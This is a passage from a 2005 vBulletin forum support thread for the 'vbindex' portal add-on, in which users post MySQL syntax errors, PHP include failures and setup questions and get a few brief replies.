IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
FROM thread AS thread
LEFT JOIN user AS user ON (thread.postuserid = user.userid)
LEFT JOIN post AS threadpost ON (thread.firstpostid = threadpost.postid)
LEFT JOIN deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')

LEFT JOIN customavatar AS customavatar ON (customavatar.userid = user.userid)
LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid)

WHERE forumid IN ()
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)
AND thread.open <> 10
AND thread.visible = '1'


ORDER BY thread.dateline DESC
LIMIT 0
mysql error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ')
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)

mysql error number: 1064

Date: Saturday 12th of March 2005 04:47:25 PM

Lexina
03-15-2005, 04:06 AM
I'm getting a problem, when I go to my site with http://mysite.com vBindex doesn't show that I am logged in, whereas when I log in with http://www.mysite.com it does... is this easily fixed?

nMIK-3
03-16-2005, 08:17 PM
Hey guys great hack, thanks.
I just install the latest version of vbindex but the news and polls doesn't display at all in the vbindex.php
I have set everything right and I have polls and news ids as 1,2,3 etc...
Any suggestions???

nMIK-3
03-16-2005, 08:23 PM
Another question that I have is that my site is in different sections.
In the header for example is going to be Home Page, Auto News, Bikers News etc.
and I have the same options in the forums, I use the vbindex.php for the home page but I want to create another one for Bikers and another one for auto news that way when someone is clicking in the autos, news and polls from the Auto forum is going to be displayed?

Is there any way that I can create multiple vbindex.php pages?
If yes how I can control them from the VBioptions?

Thanks in advance…

ZGeek
03-17-2005, 10:47 PM
I want to put a reputation link in the news bits so new posters can get repped for their news posts. Anyone know how to do this?

Tefra
03-22-2005, 11:01 AM
thank you very much works great on my board vb3.0.7 no problem .

ghost323f
03-22-2005, 12:03 PM
Ive gone through all of these pages and still dont see an answe to this question. Can some one please tell me and the other 4-5 people what is going on. This is what I keep getting.



Warning: main(./global.php): failed to open stream: No such file or directory in /home/.pammy/wncrides/wncrides.com/vbindex.php on line 145

Fatal error: main(): Failed opening required './global.php' (include_path='.:/usr/local/lib/php') in /home/.pammy/wncrides/wncrides.com/vbindex.php on line 145

Marco van Herwaarden
03-22-2005, 03:18 PM
What is your forum directory, it looks like that is not good set.

EscortCossie
03-23-2005, 05:46 PM
I have read a lot of the pages in this thread and I still can't see one single answer to the database error many people suffer from.

Here it is once again.. Please help. :)

Database error in vBulletin 3.0.6:

Invalid SQL:
## GET NEWS ##
SELECT thread.*,thread.iconid AS threadiconid, threadpost.pagetext AS pagetext,
threadpost.attach AS attachcount,
avatarpath, NOT ISNULL(avatardata) AS customavatar, user.avatarrevision, customavatar.dateline AS customdateline,

IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
FROM thread AS thread
LEFT JOIN user AS user ON (thread.postuserid = user.userid)
LEFT JOIN post AS threadpost ON (thread.firstpostid = threadpost.postid)
LEFT JOIN deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')

LEFT JOIN customavatar AS customavatar ON (customavatar.userid = user.userid)
LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid)

WHERE forumid IN ()
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)
AND thread.open <> 10
AND thread.visible = '1'


ORDER BY thread.sticky DESC, thread.dateline DESC
LIMIT 5
mysql error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ')
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0

mysql error number: 1064

Date: Wednesday 23rd of March 2005 02:38:15 PM
Script: http://www.escortpower.net/vbindex.php?
Referer: http://www.escortpower.net/vbindex.php?styleid=6

Jacuma
03-24-2005, 12:24 AM
Installed

jbear6
03-26-2005, 02:52 PM
Works like a charm on vB 3.0.7

Thanks :up:

Scerina
03-26-2005, 11:53 PM
I just installed vbindex and I have two calendars and no shoutbox. And I have shoutbox enabled as well as the calendar. Can someone help me out here?

pbw
03-28-2005, 06:29 PM
This is excellent, i really like it. Install was a synch, i'm curious however if it's possible to list the forums on vbindex.php. I've searched through these forums for an answer a fair bit, but was unsuccessful

Basically what i'd like is the nice welcome box, various sidebars and news on forumhome. Having the regular index.php forum display below.

Any ideas or tips?

Thanks

AKOYLINI
03-30-2005, 10:02 AM
Warning: main(): Unable to access ./http://www.greek-music-mania.com/test/forums/admincp/functions_vbiupgrade.php in /admincp/vbiupgrade.php on line 57

Warning: main(./http://www.greek-music-mania.com/test/forums/admincp/functions_vbiupgrade.php): failed to open stream: No such file or directory in /admincp/vbiupgrade.php on line 57

Fatal error: main(): Failed opening required './http://www.greek-music-mania.com/test/forums/admincp/functions_vbiupgrade.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /usr/home/greekmm/public_html/test/forums/admincp/vbiupgrade.php on line 57

can you help me please?i take this error when try isntall vbindex

T3MEDIA
03-30-2005, 12:38 PM
This is excellent, i really like it. Install was a synch, i'm curious however if it's possible to list the forums on vbindex.php. I've searched through these forums for an answer a fair bit, but was unsuccessful

Basically what i'd like is the nice welcome box, various sidebars and news on forumhome. Having the regular index.php forum display below.

Any ideas or tips?

Thanksno that is alot of html template modding.
take a look at bpcompanion.com/vbindex.php is that what you mean?

SmartGnome
03-30-2005, 02:36 PM
Thanks for the portal and Install ist clicked :jump

Sleepyk
04-01-2005, 01:07 AM
if i use this hack what bout hacks i have on vb 3.0.7 is it gonna conflict? also isnt this like postnuke type stuff but with vb3 on it?

khaleel
04-01-2005, 05:25 PM
*clicks install*

oops


Warning: chdir(): No such file or directory (errno 2) in /home/deathea/public_html/forum/vbindex.php on line 144


Line 144 reads
chdir(CHDIR_PATH);


and in vbiconfig the CHDIR code is

// enter the path to your forums here that you were given during the// install processdefine('CHDIR_PATH', '/home/deathea/public_html/forum');